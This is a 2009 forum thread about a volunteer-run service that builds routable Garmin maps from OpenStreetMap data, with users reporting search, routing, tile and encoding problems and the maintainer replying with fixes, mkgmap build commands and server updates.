Thank you for your quick response. Do you already know hen you will probably have fixed this problem? (that cities and other points cannot be searched with the find engine of mapsource)
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.05.2009 19:33 · [flux]
sunset_rider wrote:
Lambertus wrote:
sunset_rider wrote:
@Lambertus: I have another question. Hope, you can help me. 🙂 Your OSM Map works well with mapsource. However, I cannot search for anything. Is this a problem in connection with your map or is it my mistake? Please advise.
Thank you for your quick response. Do you already know hen you will probably have fixed this problem? (that cities and other points cannot be searched with the find engine of mapsource)
Mkgmap is not developed by me, so I would not know the answer to that.
- Re: Worldwide routable Garmin maps: URL REMOVED · arndale (Gast) · 13.05.2009 23:51 · [flux]
Lambertus wrote:
Indeed: America's tiles are being rendered right now. Should be ready in a few hours.
Update: no I'm mistaken, something is wrong with the resulting files from splitter. Gunzip complains about: "73240286.osm.gz: unexpected end of file" and it appears to do that with every file. I'm afraid I won't have new tiles for the America's within the next day(s).
Thanks for the update. I will keeps my eyes open for the new ones.
Dean
- Re: Worldwide routable Garmin maps: URL REMOVED · bennygcs (Gast) · 14.05.2009 05:09 · [flux]
hi Lambertus,
first of all thank you very much for all your effort. this is the most complete osm routable map location i've found on the web. i've downloaded the Australia Victoria img file and set my location to Melbourne. i was able to simulate driving from the melbourne international airport to armadale apartments... however, when i try to simulate from the aiport to a certain street name (ie great ocean road / williams road) my garmin nuvi 255w says NO MATCH FOUND.
is it that the map can't route by street name / address? just POI? fyi, i put the img file into SD card and manage to load the map but my unit basemap is Malaysia / singapore. any advice is greatly appreciated 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.05.2009 08:52 · [flux]
There are a lot of posts in this topic so I guess it's easy to miss stuff 😉 But yes, searching addresses does not work very well yet. Can you try the methods described in this post?
- Re: Worldwide routable Garmin maps: URL REMOVED · stevebiker (Gast) · 14.05.2009 09:20 · [flux]
Hallo,
Have noticed that in the map on the OSM main consideration when routing way streets are not taken into account!
As an example, in Vienna Bez 21st Menger Lane (coordinates: N48 15,480 E16 24,372 to N48 15,359 E16 24,597), as is directly routed to the one-way! Auto / Motorcycle, not avoidance.
Why take account of the OSM World Routable map no way streets?Stefan
I hope, this is the right forum!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.05.2009 10:47 · [flux]
The routable Garmin maps do respect oneway restrictions. Perhaps it is a recent edit which is not in the maps yet or a tagging problem. Can you post a permalink www.openstreetmap.org?
- Re: Worldwide routable Garmin maps: URL REMOVED · stevebiker (Gast) · 14.05.2009 11:40 · [flux]
How I can send a link with the correct detailmap?
Edit: o.k. Ifound it.
http://www.openstreetmap.org/browse/way/8014468/history - Re: Worldwide routable Garmin maps: URL REMOVED · mtrax (Gast) · 14.05.2009 22:49 · [flux]
Lambertus wrote:
There are a lot of posts in this topic so I guess it's easy to miss stuff 😉 But yes, searching addresses does not work very well yet. Can you try the methods described in this post?
Would it be easy to create a FAQ or on your website or create a sticky for this here.
- Re: Worldwide routable Garmin maps: URL REMOVED · stevebiker (Gast) · 16.05.2009 08:47 · [flux]
Perhaps it is a recent edit which is not in the maps yet or a tagging problem.
Indeed! The street was tagged with -1! I have it corrected on yes! - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.05.2009 12:10 · [flux]
mtrax wrote:
Lambertus wrote:
There are a lot of posts in this topic so I guess it's easy to miss stuff 😉 But yes, searching addresses does not work very well yet. Can you try the methods described in this post?
Would it be easy to create a FAQ or on your website or create a sticky for this here.
I'll update the start post.
stevebiker wrote:
Perhaps it is a recent edit which is not in the maps yet or a tagging problem.
Indeed! The street was tagged with -1! I have it corrected on yes!I think your edit is false. oneway=-1 means that the oneway direction is against the drawing direction of the way. With oneway=yes you effectively say that the oneway is in the direction of the way. While yes and no might be easier to read, 0, 1 and -1 provide more accurate information about the oneway status. I only use the numeric values while mapping.
Apart from the mapping error: yes, no, true, false, 0, 1 and -1 all should be handled correctly in Mkgmap.
- Re: Worldwide routable Garmin maps: URL REMOVED · stevebiker (Gast) · 16.05.2009 17:44 · [flux]
I have the info from: http://wiki.openstreetmap.org/wiki/Key:oneway
In addition to any highway=* tags on the road the tag oneway=yes is added. Make sure the way points in the same direction as the oneway goes.
And, in my example http://www.openstreetmap.org/browse/way/8014468/history
If the one-way street in MapSource not taken into account.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.05.2009 19:43 · [flux]
stevebiker wrote:
I have the info from: http://wiki.openstreetmap.org/wiki/Key:oneway
In addition to any highway=* tags on the road the tag oneway=yes is added. Make sure the way points in the same direction as the oneway goes.
And, in my example http://www.openstreetmap.org/browse/way/8014468/history
If the one-way street in MapSource not taken into account.
Did you read the rest of the page too?
If for some reason the oneway goes not in the direction of the way, but the other direction and you can't change the direction of the way, you can instead tag it as oneway=-1.
So my statement still stands, unless you also did:
But in most cases it makes more sense to turn the way around.
So you may alter a oneway street from -1 to yes but only if you also turn the way around (reverse it).
- Re: Worldwide routable Garmin maps: URL REMOVED · stevebiker (Gast) · 17.05.2009 07:50 · [flux]
Did you read the rest of the page too?
Yes!
And, in my example, the direction of the way in OSM is right! And in the downloaded map can be routed in both directions. Please look :http://www.openstreetmap.org/browse/way/8014468/history
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.05.2009 10:59 · [flux]
I cannot judge from the history if the way has also been reversed when you switched from yes to -1 and back to yes while also reversing the way. This is a pointless discussion. What I was trying to tell you that oneway=-1 is a valid value which implies the oneway direction is against the way direction as a response to you claiming that -1 is a tagging problem. I hope we agree on this. The rest is up to Mkgmap.
I was under the assumption that oneway=-1 would be supported by Mkgmap, which is apparently not the case, but will be very soon:
Mkgmap mailinglist wrote:
This little patch adds support for oneway=-1.
If you have a map that includes such an oddity, please test.
Unless I receive any reports of badness, it will be committed in a few
days. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.05.2009 08:49 · [flux]
Mkgmap mailinglist wrote:
Make opposite cycleways when bicycles can use oneway streets in reverse.
Some oneway streets allow bicycle traffic in the reverse direction and
this patch makes a way with the same points as the original that
allows bicycle traffic (in both directions).Feature is enabled with the --make-opposite-cycleways option.
I will use this switch and mkgmap in the next map update.
- Re: Worldwide routable Garmin maps: URL REMOVED · Kevin Yank (Gast) · 04.06.2009 09:13 · [flux]
Looks like the http://garmin.na1400.info/routable.php page is broken. It has said “Map update in process” for over 12 hours.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.06.2009 16:27 · [flux]
Kevin Yank wrote:
Looks like the http://garmin.na1400.info/routable.php page is broken. It has said “Map update in process” for over 12 hours.
Yes, unfortunately that's true. The webserver serving the completed requests went down and now that is has come back it refuses to show the directory which contains the garmin maps. The maps are present though, so something is still wrong with the webserver. I don't have admin access on that box so I have to wait until the tech staff of my hoster has time to fix it.
- Re: Worldwide routable Garmin maps: URL REMOVED · Ecuador Tur (Gast) · 05.06.2009 00:15 · [flux]
The South America is not present a week 🙁
- Re: Worldwide routable Garmin maps: URL REMOVED · llibre (Gast) · 05.06.2009 03:13 · [flux]
same problem here with the map
it is a time frame that it will be fixthanks
ps
good work - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.06.2009 07:47 · [flux]
The combined map server is back online and the maps are present again. It should be working fine now. Sorry for the troubles.
- Re: Worldwide routable Garmin maps: URL REMOVED · malcolmfrost (Gast) · 08.06.2009 11:31 · [flux]
Hi Lambertus
Thanks a million for your site.
I have produced a map with tiles covering various areas in the USA and Canada, some areas show OK ( LA San Francisco) but others don't (New York, Boston) do you have any idea as to why this is?
Rgds
Malcolm - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.06.2009 21:27 · [flux]
malcolmfrost wrote:
Hi Lambertus
Thanks a million for your site.
I have produced a map with tiles covering various areas in the USA and Canada, some areas show OK ( LA San Francisco) but others don't (New York, Boston) do you have any idea as to why this is?It's a known problem, but I'm lacking the time to fix it atm:
http://forum.openstreetmap.org/viewtopic.php?id=3242 - Re: Worldwide routable Garmin maps: URL REMOVED · Chris CA (Gast) · 09.06.2009 06:58 · [flux]
I noticed the map shown here -> http://garmin.na1400.info/routable.php has a date "Based on OpenStreetMap data from: 28-05-2009".
This is not correct as it shows items aded after that date.
The downloaded files do seem to reflect that date, as the downloaded map is not updated.How often is your server updated with the latest open Openstreetmap?
Any chance you can update the downloaded maps?Thanks!
--
Chris - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.06.2009 09:51 · [flux]
The map as shown on the website is the live map from OSM which is very up to date. The Garmin maps however are updates mostly once a week and the current version is based upon the planet dump from June 28th. Next update is scheduled in two weeks. I have no time to commence one earlier.
- Re: Worldwide routable Garmin maps: URL REMOVED · aob (Gast) · 15.06.2009 23:08 · [flux]
Hi there,
I really appreciate the maps, Lambertus--they've been very easy to use, and very accurate.
I've been trying to get a combined gmapsupp.img file created for Iowa & Wisconsin, but for some reason whenever I include both states, the tiles representing Wisconsin and the NE corner of Iowa end up blank. In particular, the tiles that appear blank (only when requested with tiles from Western Iowa) are 73240226, 73240228, 73240229, 73240230, 73240232, 73240233, 73240234, 73240235. Geographically, it is the tiles that represent the regions containing the cities of Minneapolis and Chicago that won't appear when combined with other tiles.
I live and bicycle in SW Wisconsin (and surrounding areas), so I'd really like to be able to get a single map for my device that represents Iowa, Wisconsin, Minnesota, and Illinois.
Thanks again for this wonderful service, and thanks in advance for any help on this issue.
- Re: Worldwide routable Garmin maps: URL REMOVED · ger4rd (Gast) · 16.06.2009 16:25 · [flux]
Hello Lambertus,
I 've seen that there are some red tiles (one in France some in Denmark) meaning that they are not available. Do you have an idea of of long it can be until it is fully available again?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.06.2009 22:32 · [flux]
aob wrote:
I've been trying to get a combined gmapsupp.img file created for Iowa & Wisconsin, but for some reason whenever I include both states, the tiles representing Wisconsin and the NE corner of Iowa end up blank. In particular, the tiles that appear blank (only when requested with tiles from Western Iowa) are 73240226, 73240228, 73240229, 73240230, 73240232, 73240233, 73240234, 73240235. Geographically, it is the tiles that represent the regions containing the cities of Minneapolis and Chicago that won't appear when combined with other tiles.
ger4rd wrote:
I 've seen that there are some red tiles (one in France some in Denmark) meaning that they are not available. Do you have an idea of of long it can be until it is fully available again?
I've updated the start post to contain the answers to these questions. I'm trying to get my new house ready for moving over, so all my OSM projects are on halt during this period.
- Re: Worldwide routable Garmin maps: URL REMOVED · mtrax (Gast) · 16.06.2009 23:05 · [flux]
Lambertus wrote:
I've updated the start post to contain the answers to these questions. I'm trying to get my new house ready for moving over, so all my OSM projects are on halt during this period.
good luck with the move...
- Re: Worldwide routable Garmin maps: URL REMOVED · Willem1 (Gast) · 18.06.2009 16:33 · [flux]
I noticed that you have problems regarding the disk space. Isn't it a good idea then to let the user choose when entering the e-mail address, which map format they want (MapSource, gmapsupp.img or RoadMap) so that only one map generation process is needed? I think most people only download one of the map formats...
This could be done for example by deleting the e-mail address input box at the home page, and creating a new page on which you can fill out your e-mail, and the map format you want. On the home page, there should be a Submit-button, which leads you to this new page. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.06.2009 21:43 · [flux]
Yes, stuff like this is on the todo list, together with configurable product id's (so you can have more than one of my maps in MapSource) etc. There are also people offering disk space hosting but all those things require time which I don't have at the moment.
- Re: Worldwide routable Garmin maps: URL REMOVED · yusuf76 (Gast) · 24.06.2009 09:26 · [flux]
Hi,
i am not sure but i am afraid "it is not a bug, it is a feature":
I travel frequently and using your service i generated and downloaded map of my part of world (mid and northern Germany) and now as a preparation to my vacation trip, i generated and dowloaded a map of France and Spain, installed - and surprise: my previous mapset has diappeared!
It is really so that everytime i download and install maps from this server (even in different directory) only the newest will be available?
I have 2GB card in my Legend HCx - so there are no problems with having map of whole EU on it... But...
Or am i wrong?Regards
GJ - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.06.2009 12:31 · [flux]
Well, downloading and installing a new map from this service will not actually overwrite the old map but the map overview files (.tdb and xxxx0001.img) are overwritten. These two files contain the information for MapSource about the installed map tiles. So you won't see the map tiles in MapSource even though all the tiles are still available. You can fix this in two ways: Donwload a map containing mid/north germany, france and spain or generate an overview map containing all the installed tiles yourself.
In the future I aim to allow anyone to specify unique product-id's for their combined map which would be automatically recognised as a new map by MapSource.
- Re: Worldwide routable Garmin maps: URL REMOVED · Chris CA (Gast) · 26.06.2009 17:15 · [flux]
Yesterday, the maps (http://garmin.na1400.info/routable.php) were shown as being updated (17-06-2009) and today the date is back to 28-05-2009.
Did the update finish and the date is incorrect or did the update stop/not finish?--
Chrisp.s.
Thanks! - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 26.06.2009 19:16 · [flux]
Update failed and I performed a fallback to the previous version. New update is running in the background now.
- Re: Worldwide routable Garmin maps: URL REMOVED · llibre (Gast) · 28.06.2009 17:15 · [flux]
hi there
when the update will be completed - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.06.2009 18:19 · [flux]
llibre wrote:
hi there
when the update will be completedWhen it's done 🙂
Seriously, I expect it to be done late tomorrow.
- Re: Worldwide routable Garmin maps: URL REMOVED · llibre (Gast) · 28.06.2009 21:22 · [flux]
thanks Lambertus for all your work
- Re: Worldwide routable Garmin maps: URL REMOVED · Eric K (Gast) · 03.07.2009 22:54 · [flux]
Today I succeeded: I had a large chunk of Europe download from Lambertus his site (did that 2 mounths ago) and I added high-lines to it for the area where I will be going to on holiday. I created first a gmapsupp.img with hight-lines only and a transparent background and I added that with the 'old' routable Europe chunk I had. It all works now in the device. I have now a map that is routable and has hight-lines as well:).
- Re: Worldwide routable Garmin maps: URL REMOVED · balazer (Gast) · 07.07.2009 19:07 · [flux]
Lambertus,
This site is great. Thanks so much.
It's particularly valuable for North American users, as I believe it's the only place to download a routable OSM map, short of assembling tiles myself. I hope North America will be included again in the future.
- Re: Worldwide routable Garmin maps: URL REMOVED · WaltKnapp (Gast) · 12.07.2009 01:26 · [flux]
I'm new to the server and put in my request nearly a week ago now. The server did respond it would send a link when ready. So far no response. What's the usual response time. Should I just put in the map again? It was only one US state.
- Re: Worldwide routable Garmin maps: URL REMOVED · japa-fi (Gast) · 12.07.2009 11:49 · [flux]
Based on my experience, it has been matter of couple hours at worst cases..
- Re: Worldwide routable Garmin maps: URL REMOVED · WhichWayIsUp (Gast) · 13.07.2009 08:41 · [flux]
Great work! Unfortunately there seems to be an error when processing the .img files in some parts of Canada when selected as tiles from the website. File 73240261, for instance, is blank and only 300KB (and it's a big tile) that should have lots of data. The maps are installing fine in MapSource, but about half of Canada is shown as blank tiles. I haven't tried any other parts of the world, just Canada.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.07.2009 09:08 · [flux]
WaltKnapp wrote:
I'm new to the server and put in my request nearly a week ago now. The server did respond it would send a link when ready. So far no response. What's the usual response time. Should I just put in the map again? It was only one US state.
You probably entered a wrong email address. Please try again after about one day if you did not receive the download email.
WhichWayIsUp wrote:
Great work! Unfortunately there seems to be an error when processing the .img files in some parts of Canada when selected as tiles from the website. File 73240261, for instance, is blank and only 300KB (and it's a big tile) that should have lots of data. The maps are installing fine in MapSource, but about half of Canada is shown as blank tiles. I haven't tried any other parts of the world, just Canada.
This is a known bug (see the start post of this topic). I hope to start working on this later this month.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.07.2009 18:15 · [flux]
Someone asked me about usage statistics of this service, so I pulled the logs and did some analisys.
Since the end of April 2009:
9200 map requests were made (~100 per day on average)
4800 unique email addresses were used (~50 requests of truly unique visitors per day on average)Top 10 of requested tiles:
63240067.img 1374
63240069.img 1314
63240074.img 1313
63240080.img 1288
63240073.img 1274
63240075.img 1254
63240072.img 1253
63240077.img 1239
63240107.img 1236
63240065.img 1229So the most requested tiles are in the south of Germany on the borders with Switzerland and Austria.
First North/South American tile is in place 125.
Edit: Some other statistics
Bandwidth usage is about 15 to 20 GB per day
Average download size is 64MB
This translates to ~220 map downloads per day - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.07.2009 10:23 · [flux]
The server harddisk got at 100% full again this weekend. About 20 requests failed because of this. If you cannot reach the URL that is given in the email then please request the tiles again. Sorry for the inconvenience....
PS. Delete any "<" or ">" characters at the beginning or end or the URL in your browser if the server returns '404 Not Found' and try again. If the browser then still returns the error then you will have to request your tiles again.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.07.2009 16:35 · [flux]
I've added a rewrite rule to the .htaccess file to automatically remove the trailing '>' character from the download URL. This fixes a lot of problems for people who are using non-standard-compliant email clients.
RewriteRule␣^(.+)>$␣http://planetosm.oxilion.nl/~lambertus/garmin/$1␣[R=301,L]
- Re: Worldwide routable Garmin maps: URL REMOVED · enunez (Gast) · 29.07.2009 02:39 · [flux]
I've tried to request some tiles using 3 different email accounts but I haven't received the email confirmation for none of them. Do you think it has anything to do with the recent change?
Thanks for your work! - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 29.07.2009 08:07 · [flux]
I think the service has been mentioned in some newsitem or large forum in Italy as there are loads and loads of Italians requesting maps. The server is working as hard as it can to produce them but there is a backlog of about 100 requests. I see your username in a few of them so please be patient, it all takes a bit longer then usual at the moment.
- Re: Worldwide routable Garmin maps: URL REMOVED · Hugo_H (Gast) · 29.07.2009 19:52 · [flux]
All,
Not strange that the Italians are requesting maps: they have organised a major mapping party in the Dolomites. 😎
I can't go but else I would have requested one my self, Hugo
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 30.07.2009 08:53 · [flux]
Ah, that explaines. Well, if they'd all requested the same area then that wouldn't be a problem as the service would immediately send the email with an already cached combined map.
Unfortunately this night the harddisk got full again, so some requests have failed. If you get a 404 error when trying to get your map from the server then you need to request the map again. Sorry.
- Re: Worldwide routable Garmin maps: URL REMOVED · reinholdM (Gast) · 30.07.2009 09:20 · [flux]
Lambertus, Thanks for all your work, it's really a great site!
Since the last to map updates I noticed the nice icons on highway: motorway to secondary. In NL they include the road category and number, unfortunately in Germany only the starting letter is shown in this sign and the number is displayed bellow. I guess this is related to the space between letter an road number?
Thanks, - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 30.07.2009 09:35 · [flux]
reinholdM wrote:
Lambertus, Thanks for all your work, it's really a great site!
Thanks.
Since the last to map updates I noticed the nice icons on highway: motorway to secondary. In NL they include the road category and number, unfortunately in Germany only the starting letter is shown in this sign and the number is displayed bellow. I guess this is related to the space between letter an road number?
Yes, this is because of 'the space'. This is solved in a newer version of Mkgmap, so when I update it the roadnumbers will be correctly displayed in Germany as well.
- Re: Worldwide routable Garmin maps: URL REMOVED · itserik (Gast) · 30.07.2009 13:37 · [flux]
Today I requested a map. But there is no mapsource installer included (not even an empty .exe file).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 31.07.2009 11:37 · [flux]
itserik wrote:
Today I requested a map. But there is no mapsource installer included (not even an empty .exe file).
This is not only a problem with your request, but a generic toolchain problem. The harddisk full problems earlier this week caused the toolchain to be broken. I hope it's fixed again.
- Re: Worldwide routable Garmin maps: URL REMOVED · Spindoc Bob (Gast) · 02.08.2009 11:28 · [flux]
Lambertus, thank you once again for this service. It is fantastic. I use it in Australia and find it as good if not better than the commercial products.
The ability to correct errors on OSM and see them rectified a day or two later is fantastic.
One issue I have found with the maps is that they render a particular (unique) setting as a thick purple line. This makes the map confusing to read. It is a set of lines used to define the boundaries for suburbs as defined by the Australian Bureau of Statistics. They include the following attributes:
Admin_level = 10
boundary = administrative
source = ABS_2006Is it possible to adjust your settings so that lines are either thin light grey or invisible?
FYI - screen shot below. Purple lines appear light grey in this image. You'll also notice they show up as St/Prv Border.
- Re: Worldwide routable Garmin maps: URL REMOVED · Jose Riha (Gast) · 06.08.2009 13:23 · [flux]
hello, thank you for this service. the problem is that streetnames contains some badly translated (national) characters. is this a problem of mkgmap or it can be fixed in your scripts? thank you, jose
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.08.2009 13:56 · [flux]
Garmin uses different kinds of character encoding in different products. Afaik there is no solution to build one map that suits all those devices and applications. I choose to use the international name first, followed by the English name etc. in an attempt to keep the map readable for as many as possible.
Perhaps one day it will be possible to generate maps for specific devices and languages, but not shortly.
- Re: Worldwide routable Garmin maps: URL REMOVED · Jose Riha (Gast) · 06.08.2009 14:26 · [flux]
i have not transferred the map to a garmin device yet, just opened it up in MapSource. is there something i could do in order to improve the national character support? thanks, jozef
UPDATE: and it's the same when i open the map in QLandKarte GT
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.08.2009 15:27 · [flux]
Can you provide some examples? E.g. on the OSM map...? It could also be an mapping error.
- Re: Worldwide routable Garmin maps: URL REMOVED · Jose Riha (Gast) · 06.08.2009 21:36 · [flux]
will do tomorrow. in the meanwhile is there a chance to see exact commands that are being run on the server? you can send me a pm if it's not for everyone's eyes. thanks, joe
- Re: Worldwide routable Garmin maps: URL REMOVED · Jose Riha (Gast) · 06.08.2009 22:01 · [flux]
ok, changed my mind - i'll explain today. please compare generated map opened in mapsource: http://img229.imageshack.us/img229/9653/mapsource.png or qlandkarte gt http://img259.imageshack.us/img259/6805 … artegt.png (problems red underlined) with the actual situation on osm http://osm.org/go/0Lklwk--?layers=0B00FTF
the export will be available at http://planetosm.oxilion.nl/~lambertus/ … 235e9e9ed/ until it's deleted.
cheers, joe
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.08.2009 09:00 · [flux]
How I generate the Garmin img files is no secret (I've posted it to the Mkgmap dev mailinglist a while ago too):
java -Xmx2048M -ea -jar ~/garmin/utils/mkgmap/mkgmap.jar
--utf8
--code-page=1252
--name-tag-list=name:en,int_name,name
--remove-short-arcs
--add-pois-to-areas
--make-opposite-cycleways
--description='OSM World Routable'
--net
--route
--series-name='OSM World Routable'
$osm_fileThe gmapsupp and overview TDB+IMG file are produced when a user requests them:
java -Xmx2048M -jar ~/garmin/utils/mkgmap/mkgmap.jar
--series-name='OSM World Routable'
--utf8
--code-page-1252
--description='OSM World Routable'
--product-id=53
--tdbfile
--gmapsupp
*324*.imgThis is a generic problem with making Garmin images, others have difficulties with code pages as well.
- Re: Worldwide routable Garmin maps: URL REMOVED · Juergen Frank (Gast) · 07.08.2009 13:17 · [flux]
Hi Lambertus,
first of all I've to thank you for this great service, I really appreciate it.
I just requested a map of parts of Europe (unfortunately some tiles are markes red) and reveived email with download-link(s).
As a Mac-user I only need gmapsupp.img for my GPSmap 60 CSx and RoadTrip .gmapi.
This time the RoadTrip file is only about 1/20th of the Garmin-Installer and 1/30th of the gmapsupp.img.
Is there something broken or is it because of missing (red) tiles? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.08.2009 13:35 · [flux]
I think the RoadTrip script is prone to failure when trying to build the installer with missing tiles, so its probably better not select those red tiles.
Even better would be to handle missing tiles in the RoadTrip script properly ;-)
- Re: Worldwide routable Garmin maps: URL REMOVED · Jose Riha (Gast) · 07.08.2009 20:59 · [flux]
hi lambertus, thank you for the scripts. when i remove --utf8 and change code-page from 1252 to 1250 i can see correct characters both in qlandkarte and mapsource. i will hopefully have a chance to test it with etrex next week. is there a chance that you could create a selector for codepage and charset so user could modify the output?
kind regards,
joe
Lambertus wrote:
How I generate the Garmin img files is no secret (I've posted it to the Mkgmap dev mailinglist a while ago too):
java -Xmx2048M -ea -jar ~/garmin/utils/mkgmap/mkgmap.jar
--utf8
--code-page=1252
--name-tag-list=name:en,int_name,name
--remove-short-arcs
--add-pois-to-areas
--make-opposite-cycleways
--description='OSM World Routable'
--net
--route
--series-name='OSM World Routable'
$osm_fileThe gmapsupp and overview TDB+IMG file are produced when a user requests them:
java -Xmx2048M -jar ~/garmin/utils/mkgmap/mkgmap.jar
--series-name='OSM World Routable'
--utf8
--code-page-1252
--description='OSM World Routable'
--product-id=53
--tdbfile
--gmapsupp
*324*.imgThis is a generic problem with making Garmin images, others have difficulties with code pages as well.
- Re: Worldwide routable Garmin maps: URL REMOVED · Marktwain314 (Gast) · 08.08.2009 03:20 · [flux]
Thanks so much for these maps. It's great to have free routable Garmin maps. Whenever I route to a location using the car/motorcycle setting, I'm routed through pedestrian pathways that a car cannot drive through, showed by a dotted line on the map. Is there a way to avoid these? Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 09.08.2009 14:55 · [flux]
If it happens everywhere on the map, its probably something on your GPS set up.
Assuming your GPS is set up correctly, and the problem occurs occasionally, I have these problems on non OSM maps when a road is mis-classified or a node is unconnected. You should check the route on OSM to be sure the nodes on "primary routes" are properly connected. Since road classification on OSM dictates the way they are rendered, it seems unlikely that a road would be rendered separately from its classification.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.08.2009 21:11 · [flux]
I've added some countries that are requested most often to a dropdown box. I hope this will eliminate many of the small differences in tile selections (but as a result they are unique requests) and relieve the processor a bit as it is at 100% almost 24/7 trying to keep up.
Startpost is also updated with the latest info.
Edit August 27: The country selection box works surprisingly well. CPU usage only spikes now and then instead of hogging the 100%. I'm starting to think about new features again 😄
- Re: Worldwide routable Garmin maps: URL REMOVED · Chemins du monde (Gast) · 18.08.2009 12:58 · [flux]
Hi
I download one part of your routable worldwide map for Mac
I got the Mac installer for Roadtrip, the installation runs perfectly...
But when I try to transfer the map to my GPS Garmin unit, the map is not transfered... It appear like a basemap...
I have other maps in my roadtrip and I can upload them without any problem to my GPS Unit
I also try to transfer using direct mapInstall... the same... all the installation procedure goes through, my GPS unit switches in "Transfer mode"... thn as soon as the stransfer is done... the map doea not appear in the GPS Unit...
Any advise?
Thank you - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.08.2009 13:45 · [flux]
Chemins du monde wrote:
I download one part of your routable worldwide map for Mac
I got the Mac installer for Roadtrip, the installation runs perfectly...
But when I try to transfer the map to my GPS Garmin unit, the map is not transfered... It appear like a basemap...
I have other maps in my roadtrip and I can upload them without any problem to my GPS Unit
I also try to transfer using direct mapInstall... the same... all the installation procedure goes through, my GPS unit switches in "Transfer mode"... thn as soon as the stransfer is done... the map doea not appear in the GPS Unit...
Any advise?And the map shows fine in RoadTrip? Can you post a link to your map request (from the email). I have no idea atm.
- Re: Worldwide routable Garmin maps: URL REMOVED · Hugo_H (Gast) · 19.08.2009 19:26 · [flux]
CdM,
is this not a Garmin issue? Don't know which type you've got, but the map should be visible in the folder Garmin on your GPS.
- Re: Worldwide routable Garmin maps: URL REMOVED · Stang (Gast) · 27.08.2009 21:25 · [flux]
Lambertus wrote:
Edit August 27: The country selection box works surprisingly well. CPU usage only spikes now and then instead of hogging the 100%. I'm starting to think about new features again 😄
Can the first new feature be letting Canadians (and those from other countries, of course) experience these maps that we've only been able to read about lately? Please. 😉
Regardless, your hard work is much appreciated.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 29.08.2009 09:50 · [flux]
Stang wrote:
Can the first new feature be letting Canadians (and those from other countries, of course) experience these maps that we've only been able to read about lately? Please. 😉
The difficult part of trying to deal with the problems in Canada and the USA is the sheer amount of data involved and that I cannot perform tests on hardware that is under my control due to lack of memory (my laptop has 4GB which isn't enough). Therefore splitting is done by someone else with access to a beefy university server. It is difficult to do debugging and testing through the hands of someone else.
So the (not so) funny thing is that I can add more types of maps or other features more easily than addressing one of the biggest problems with the current setup.
However, the source of the problem is found and already fixed in the latest splitter versions. I'm trying to get this new version into action, but testing takes long (a single cycle often takes longer then one day). But I expect to be able to provide maps for northeast USA and Canada soon, maybe not updated every week but we'll see.
The second thing I'm working on is a webpage that can be used as a tool for splitting up problem areas and thus produce new configuration files for splitter. This will make it easier for me to fix the red tiles in Denmark and anywhere else they might popup. This is also made possible by recent changes in splitter.
- Re: Worldwide routable Garmin maps: URL REMOVED · fx99 (Gast) · 30.08.2009 09:24 · [flux]
Hello, I appreciate Lambertus activities very much.
Would it be possible to change the tile arrangement in a way that
New Zealand comes with less water and other area in the tile(s)? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 30.08.2009 11:43 · [flux]
fx99 wrote:
Hello, I appreciate Lambertus activities very much.
Would it be possible to change the tile arrangement in a way that
New Zealand comes with less water and other area in the tile(s)?With all the problems with computing power, disk space, planet dumps that contain invalid characters, software bugs, the tile bounding box configuration is the last thing I'm looking at. So I'm saying, with respect: no, for now at least. I have plans for making a tool that helps me split and combine bboxes. Once that is in place then tile configuration is easier. But tbh: I could not care less about having an island surrounded by a lot of water...
- Re: Worldwide routable Garmin maps: URL REMOVED · cacheurs (Gast) · 30.08.2009 14:50 · [flux]
Hi and thank you for your work on the Garmin OSM maps. I am new at this and not an expert. I am working on a Mac so after selecting tiles and asked to generate the map, I downloaded both the .img file and the RoadTrip installer. Before I go any further and try to transfer the .img to my Garmin GPS devide (Dakota 20), I tried looking at the map in RoadTrip. I don't see any roads or streets... only names for places and a few waypoints. Is that normal?
The tiles I selected are for eastern Canada and northeastern USA.
Thanks for your help - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 31.08.2009 14:18 · [flux]
cacheurs wrote:
Hi and thank you for your work on the Garmin OSM maps. I am new at this and not an expert. I am working on a Mac so after selecting tiles and asked to generate the map, I downloaded both the .img file and the RoadTrip installer. Before I go any further and try to transfer the .img to my Garmin GPS devide (Dakota 20), I tried looking at the map in RoadTrip. I don't see any roads or streets... only names for places and a few waypoints. Is that normal?
